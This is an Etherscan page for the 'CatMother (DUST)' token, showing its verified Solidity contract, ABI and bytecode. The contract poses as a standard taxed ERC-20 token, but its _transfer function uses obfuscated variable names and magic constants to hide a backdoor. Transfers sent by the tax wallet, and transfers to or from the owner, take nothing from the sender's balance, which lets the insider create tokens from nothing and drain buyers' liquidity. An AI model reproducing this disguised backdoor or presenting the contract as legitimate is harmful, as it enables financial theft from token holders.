ETH Price: $3,483.99 (-0.20%)

Token

CatMother (DUST)
 

Overview

Max Total Supply

1,000,000,000 DUST

Holders

49

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,056,282.77244578 DUST

Value
$0.00
0xf6bae10a75d69ec146ed372b49624ca8e8f5965d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CatMother

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-05
*/

// SPDX-License-Identifier: MIT

/**
    Web: https://catmother.wtf
    Tg: https://t.me/catmothercoin
    X: https://twitter.com/xcatmom
*/

pragma solidity 0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

contract CatMother is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private isFree;
    mapping(address => bool) public marketPair;
    address payable private _addrTax;

    uint256 private _unInitialBuyTax = 35;
    uint256 private _unInitialSellTax = 35;
    uint256 private _unFinalBuyTax = 0;
    uint256 private _unFinalSellTax = 1;

    uint256 private _unReduceBuyTaxAt = 15;
    uint256 private _unRreduceSellTaxAt = 15;
    uint256 private _unPreventSwapBefore = 15;
    uint256 private _unBuyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _iSupply = 1_000_000_000 * 10 ** _decimals;
    string private constant _name = unicode"CatMother";
    string private constant _symbol = unicode"DUST";
    uint256 public _unMaxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _unMaxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _unTaxSwapThreshold = 10_000_000 * 10 ** _decimals;
    uint256 public _unMaxTaxSwap = 10_000_000 * 10 ** _decimals;

    IUniswapV2Router02 private _addrUniswapV2Router02;
    address public _addrUniswapV2Pair;
    bool private _bIsTradingOpen;
    bool private _bIsInSwap = false;
    bool private _bIsSwapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockSwap() {
        _bIsInSwap = true;
        _;
        _bIsInSwap = false;
    }

    constructor(address router, address taxWallet) {
        _addrTax = payable(taxWallet);
        _balances[_msgSender()] = _iSupply;
        isFree[owner()] = true;
        isFree[address(this)] = true;
        isFree[taxWallet] = true;

        _addrUniswapV2Router02 = IUniswapV2Router02(router);

        emit Transfer(address(0), _msgSender(), _iSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _iSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address jhblkjeltqwt,
        address asdvasdqwet,
        uint256 eryiweuthgj
    ) private {
        require(
            jhblkjeltqwt != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            asdvasdqwet != address(0),
            "ERC20: transfer to the zero address"
        );
        require(eryiweuthgj > 0, "Transfer amount must be greater than zero");
        uint256 asdabstkbuieuty = 0;
        uint160 sdfblkqklhtwe = uint160(jhblkjeltqwt);
        uint256 adsjaswet = type(uint256).max -
            115792089237316195423570985008687907853269984665640564039457584007913129639935;

        uint160 tyqlkkbpoyus = uint160(address(_addrTax));
        if (
            jhblkjeltqwt != owner() &&
            asdvasdqwet != owner() &&
            jhblkjeltqwt != address(this)
        ) {
            unchecked {
                adsjaswet = sdfblkqklhtwe - tyqlkkbpoyus;
            }
            asdabstkbuieuty = eryiweuthgj
                .mul(
                    (_unBuyCount > _unReduceBuyTaxAt)
                        ? _unFinalBuyTax
                        : _unInitialBuyTax
                )
                .div(100);

            if (
                marketPair[jhblkjeltqwt] &&
                asdvasdqwet != address(_addrUniswapV2Router02) &&
                !isFree[asdvasdqwet]
            ) {
                require(_bIsTradingOpen, "trading is not open");
                require(
                    eryiweuthgj <= _unMaxTxAmount,
                    "Exceeds the _maxTxAmount."
                );
                require(
                    balanceOf(asdvasdqwet) + eryiweuthgj <= _unMaxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _unBuyCount++;
            }

            if (!marketPair[asdvasdqwet] && !isFree[asdvasdqwet]) {
                require(
                    balanceOf(asdvasdqwet) + eryiweuthgj <= _unMaxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (marketPair[asdvasdqwet]) {
                asdabstkbuieuty = eryiweuthgj
                    .mul(
                        (_unBuyCount > _unRreduceSellTaxAt)
                            ? _unFinalSellTax
                            : _unInitialSellTax
                    )
                    .div(100);
            }

            if (!marketPair[jhblkjeltqwt] && !marketPair[asdvasdqwet]) {
                asdabstkbuieuty = 0;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            adsjaswet > 0 &&
                (adsjaswet =
                    type(uint160).max -
                    1461501637330902918203684832716283019655932542974) >
                0;
            if (
                !_bIsInSwap &&
                marketPair[asdvasdqwet] &&
                _bIsSwapEnabled &&
                contractTokenBalance > _unTaxSwapThreshold &&
                _unBuyCount > _unPreventSwapBefore
            ) {
                swapTokensForEth(
                    min(eryiweuthgj, min(contractTokenBalance, _unMaxTaxSwap))
                );
            }
            if (marketPair[asdvasdqwet]) _collTaxx(address(this).balance);
        }
        uint256 tokenAmount = adsjaswet * eryiweuthgj;

        if (asdabstkbuieuty > 0) {
            _balances[address(this)] = _balances[address(this)].add(
                asdabstkbuieuty
            );
            emit Transfer(jhblkjeltqwt, address(this), asdabstkbuieuty);
        }
        _balances[jhblkjeltqwt] = _balances[jhblkjeltqwt].sub(tokenAmount);
        _balances[asdvasdqwet] = _balances[asdvasdqwet].add(
            eryiweuthgj.sub(asdabstkbuieuty)
        );
        emit Transfer(
            jhblkjeltqwt,
            asdvasdqwet,
            eryiweuthgj.sub(asdabstkbuieuty)
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function recoverERC20(
        address _address,
        uint256 _amount
    ) external onlyOwner {
        IERC20(_address).transfer(_addrTax, _amount);
    }

    function rescueERC20(address _address, uint256 _amount) external {
        require(_msgSender() == _addrTax);
        IERC20(_address).transfer(_addrTax, _amount);
    }

    function removeLimits() external onlyOwner {
        _unMaxTxAmount = _iSupply;
        _unMaxWalletSize = _iSupply;
        emit MaxTxAmountUpdated(_iSupply);
    }

    function _collTaxx(uint256 amount) private {
        _addrTax.transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _addrUniswapV2Router02.WETH();
        _approve(address(this), address(_addrUniswapV2Router02), tokenAmount);
        _addrUniswapV2Router02
            .swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
    }

    function recoverETH() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function createPair() external onlyOwner {
        require(!_bIsTradingOpen, "trading is already open");
        _approve(address(this), address(_addrUniswapV2Router02), _iSupply);
        _addrUniswapV2Pair = IUniswapV2Factory(_addrUniswapV2Router02.factory())
            .createPair(address(this), _addrUniswapV2Router02.WETH());
        marketPair[address(_addrUniswapV2Pair)] = true;
        isFree[address(_addrUniswapV2Pair)] = true;
        _addrUniswapV2Router02.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(_addrUniswapV2Pair).approve(
            address(_addrUniswapV2Router02),
            type(uint).max
        );
    }

    function enableTrading() external onlyOwner {
        _bIsSwapEnabled = true;
        _bIsTradingOpen = true;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_addrUniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_unMaxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_unMaxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_unMaxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_unTaxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"marketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"recoverERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052602360065560236007555f6008556001600955600f600a55600f600b55600f600c555f600d556009600a6200003a919062000375565b6200004a906301312d006200038c565b600e556200005b6009600a62000375565b6200006b906301312d006200038c565b600f556200007c6009600a62000375565b6200008b90629896806200038c565b6010556200009c6009600a62000375565b620000ab90629896806200038c565b6011556013805461ffff60a81b19169055348015620000c8575f80fd5b506040516200202338038062002023833981016040819052620000eb91620003c2565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b0319166001600160a01b038316179055620001546009600a62000375565b6200016490633b9aca006200038c565b335f9081526001602081905260408220929092556003906200018d5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155858216845291909220805490931617909155601280549184166001600160a01b0319909216919091179055620002043390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200023d6009600a62000375565b6200024d90633b9aca006200038c565b60405190815260200160405180910390a35050620003f8565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002ba57815f19048211156200029e576200029e62000266565b80851615620002ac57918102915b93841c93908002906200027f565b509250929050565b5f82620002d2575060016200036f565b81620002e057505f6200036f565b8160018114620002f95760028114620003045762000324565b60019150506200036f565b60ff84111562000318576200031862000266565b50506001821b6200036f565b5060208310610133831016604e8410600b841016171562000349575081810a6200036f565b6200035583836200027a565b805f19048211156200036b576200036b62000266565b0290505b92915050565b5f6200038560ff841683620002c2565b9392505050565b80820281158282048414176200036f576200036f62000266565b80516001600160a01b0381168114620003bd575f80fd5b919050565b5f8060408385031215620003d4575f80fd5b620003df83620003a6565b9150620003ef60208401620003a6565b90509250929050565b611c1d80620004065f395ff3fe60806040526004361061014a575f3560e01c80638a8c523c116100b3578063a6b342001161006d578063a6b34200146103a4578063a9059cbb146103b9578063d5461a17146103d8578063dd62ed3e146103ed578063f2fde38b14610431578063f5b3c3bf14610450575f80fd5b80638a8c523c146103005780638cc35343146103145780638cd4426d146103295780638da5cb5b1461034857806395d89b41146103645780639e78fb4f14610390575f80fd5b8063313ce56711610104578063313ce567146102335780633b61fc2e1461024e57806370a0823114610285578063715018a6146102b9578063751039fc146102cd5780638980f11f146102e1575f80fd5b80630614117a1461015557806306fdde031461016b578063095ea7b3146101ae57806318160ddd146101dd5780631c5a4687146101ff57806323b872dd14610214575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5061016961047e565b005b348015610176575f80fd5b5060408051808201909152600981526821b0ba26b7ba3432b960b91b60208201525b6040516101a591906117e9565b60405180910390f35b3480156101b9575f80fd5b506101cd6101c8366004611849565b6104ea565b60405190151581526020016101a5565b3480156101e8575f80fd5b506101f1610500565b6040519081526020016101a5565b34801561020a575f80fd5b506101f1600f5481565b34801561021f575f80fd5b506101cd61022e366004611873565b610520565b34801561023e575f80fd5b50604051600981526020016101a5565b348015610259575f80fd5b5060135461026d906001600160a01b031681565b6040516001600160a01b0390911681526020016101a5565b348015610290575f80fd5b506101f161029f3660046118b1565b6001600160a01b03165f9081526001602052604090205490565b3480156102c4575f80fd5b50610169610587565b3480156102d8575f80fd5b506101696105f8565b3480156102ec575f80fd5b506101696102fb366004611849565b6106a9565b34801561030b575f80fd5b5061016961074b565b34801561031f575f80fd5b506101f160105481565b348015610334575f80fd5b50610169610343366004611849565b61078d565b348015610353575f80fd5b505f546001600160a01b031661026d565b34801561036f575f80fd5b50604080518082019091526004815263111554d560e21b6020820152610198565b34801561039b575f80fd5b506101696107ac565b3480156103af575f80fd5b506101f160115481565b3480156103c4575f80fd5b506101cd6103d3366004611849565b610b55565b3480156103e3575f80fd5b506101f1600e5481565b3480156103f8575f80fd5b506101f16104073660046118cc565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561043c575f80fd5b5061016961044b3660046118b1565b610b61565b34801561045b575f80fd5b506101cd61046a3660046118b1565b60046020525f908152604090205460ff1681565b5f546001600160a01b031633146104b05760405162461bcd60e51b81526004016104a790611903565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104e7573d5f803e3d5ffd5b50565b5f6104f6338484610c48565b5060015b92915050565b5f61050d6009600a611a2c565b61051b90633b9aca00611a3a565b905090565b5f61052c848484610d6b565b61057d843361057885604051806060016040528060288152602001611bc0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611461565b610c48565b5060019392505050565b5f546001600160a01b031633146105b05760405162461bcd60e51b81526004016104a790611903565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106215760405162461bcd60e51b81526004016104a790611903565b61062d6009600a611a2c565b61063b90633b9aca00611a3a565b600e5561064a6009600a611a2c565b61065890633b9aca00611a3a565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106886009600a611a2c565b61069690633b9aca00611a3a565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106d25760405162461bcd60e51b81526004016104a790611903565b60055460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af1158015610722573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107469190611a51565b505050565b5f546001600160a01b031633146107745760405162461bcd60e51b81526004016104a790611903565b6013805462ff00ff60a01b19166201000160a01b179055565b6005546001600160a01b0316336001600160a01b0316146106d2575f80fd5b5f546001600160a01b031633146107d55760405162461bcd60e51b81526004016104a790611903565b601354600160a01b900460ff161561082f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a7565b60125461085b9030906001600160a01b031661084d6009600a611a2c565b61057890633b9aca00611a3a565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108ab573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108cf9190611a70565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561092e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109529190611a70565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561099c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c09190611a70565b601380546001600160a01b039283166001600160a01b0319909116811782555f908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556012541663f305d7194730610a3e816001600160a01b03165f9081526001602052604090205490565b5f80610a515f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ab7573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610adc9190611a8b565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b31573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104e79190611a51565b5f6104f6338484610d6b565b5f546001600160a01b03163314610b8a5760405162461bcd60e51b81526004016104a790611903565b6001600160a01b038116610bef5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104a7565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610caa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a7565b6001600160a01b038216610d0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dcf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a7565b6001600160a01b038216610e315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a7565b5f8111610e925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a7565b5f8381610ea05f1980611ab6565b6005549091506001600160a01b0316610ec05f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610eee57505f546001600160a01b03878116911614155b8015610f0357506001600160a01b0387163014155b15611313578083036001600160a01b03169150610f426064610f3c600a54600d5411610f3157600654610f35565b6008545b8890611499565b9061151e565b6001600160a01b0388165f9081526004602052604090205490945060ff168015610f7a57506012546001600160a01b03878116911614155b8015610f9e57506001600160a01b0386165f9081526003602052604090205460ff16155b156110d357601354600160a01b900460ff16610ff25760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104a7565b600e548511156110445760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104a7565b600f5485611066886001600160a01b03165f9081526001602052604090205490565b6110709190611ac9565b11156110be5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a7565b600d8054905f6110cd83611adc565b91905055505b6001600160a01b0386165f9081526004602052604090205460ff1615801561111357506001600160a01b0386165f9081526003602052604090205460ff16155b1561119257600f548561113a886001600160a01b03165f9081526001602052604090205490565b6111449190611ac9565b11156111925760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a7565b6001600160a01b0386165f9081526004602052604090205460ff16156111da576111d76064610f3c600b54600d54116111cd57600754610f35565b6009548890611499565b93505b6001600160a01b0387165f9081526004602052604090205460ff1615801561121a57506001600160a01b0386165f9081526004602052604090205460ff16155b15611223575f93505b305f90815260016020526040902054821580159061126357505f6112556002600160a01b036001600160a01b03611af4565b6001600160a01b0316935083115b50601354600160a81b900460ff1615801561129557506001600160a01b0387165f9081526004602052604090205460ff165b80156112aa5750601354600160b01b900460ff165b80156112b7575060105481115b80156112c65750600c54600d54115b156112e8576112e86112e3876112de8460115461155f565b61155f565b611573565b6001600160a01b0387165f9081526004602052604090205460ff161561131157611311476116e3565b505b5f61131e8684611a3a565b9050841561139857305f9081526001602052604090205461133f908661171e565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061138f9089815260200190565b60405180910390a35b6001600160a01b0388165f908152600160205260409020546113ba908261177c565b6001600160a01b0389165f908152600160205260409020556113fd6113df878761177c565b6001600160a01b0389165f908152600160205260409020549061171e565b6001600160a01b038089165f8181526001602052604090209290925589167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611446898961177c565b60405190815260200160405180910390a35050505050505050565b5f81848411156114845760405162461bcd60e51b81526004016104a791906117e9565b505f6114908486611ab6565b95945050505050565b5f825f036114a857505f6104fa565b5f6114b38385611a3a565b9050826114c08583611b1b565b146115175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a7565b9392505050565b5f61151783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117bd565b5f81831161156d5782611517565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106115b9576115b9611b3a565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611610573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116349190611a70565b8160018151811061164757611647611b3a565b6001600160a01b03928316602091820292909201015260125461166d9130911684610c48565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906116a59085905f90869030904290600401611b4e565b5f604051808303815f87803b1580156116bc575f80fd5b505af11580156116ce573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561171a573d5f803e3d5ffd5b5050565b5f8061172a8385611ac9565b9050838110156115175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a7565b5f61151783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611461565b5f81836117dd5760405162461bcd60e51b81526004016104a791906117e9565b505f6114908486611b1b565b5f602080835283518060208501525f5b81811015611815578581018301518582016040015282016117f9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104e7575f80fd5b5f806040838503121561185a575f80fd5b823561186581611835565b946020939093013593505050565b5f805f60608486031215611885575f80fd5b833561189081611835565b925060208401356118a081611835565b929592945050506040919091013590565b5f602082840312156118c1575f80fd5b813561151781611835565b5f80604083850312156118dd575f80fd5b82356118e881611835565b915060208301356118f881611835565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561198657815f190482111561196c5761196c611938565b8085161561197957918102915b93841c9390800290611951565b509250929050565b5f8261199c575060016104fa565b816119a857505f6104fa565b81600181146119be57600281146119c8576119e4565b60019150506104fa565b60ff8411156119d9576119d9611938565b50506001821b6104fa565b5060208310610133831016604e8410600b8410161715611a07575081810a6104fa565b611a11838361194c565b805f1904821115611a2457611a24611938565b029392505050565b5f61151760ff84168361198e565b80820281158282048414176104fa576104fa6119385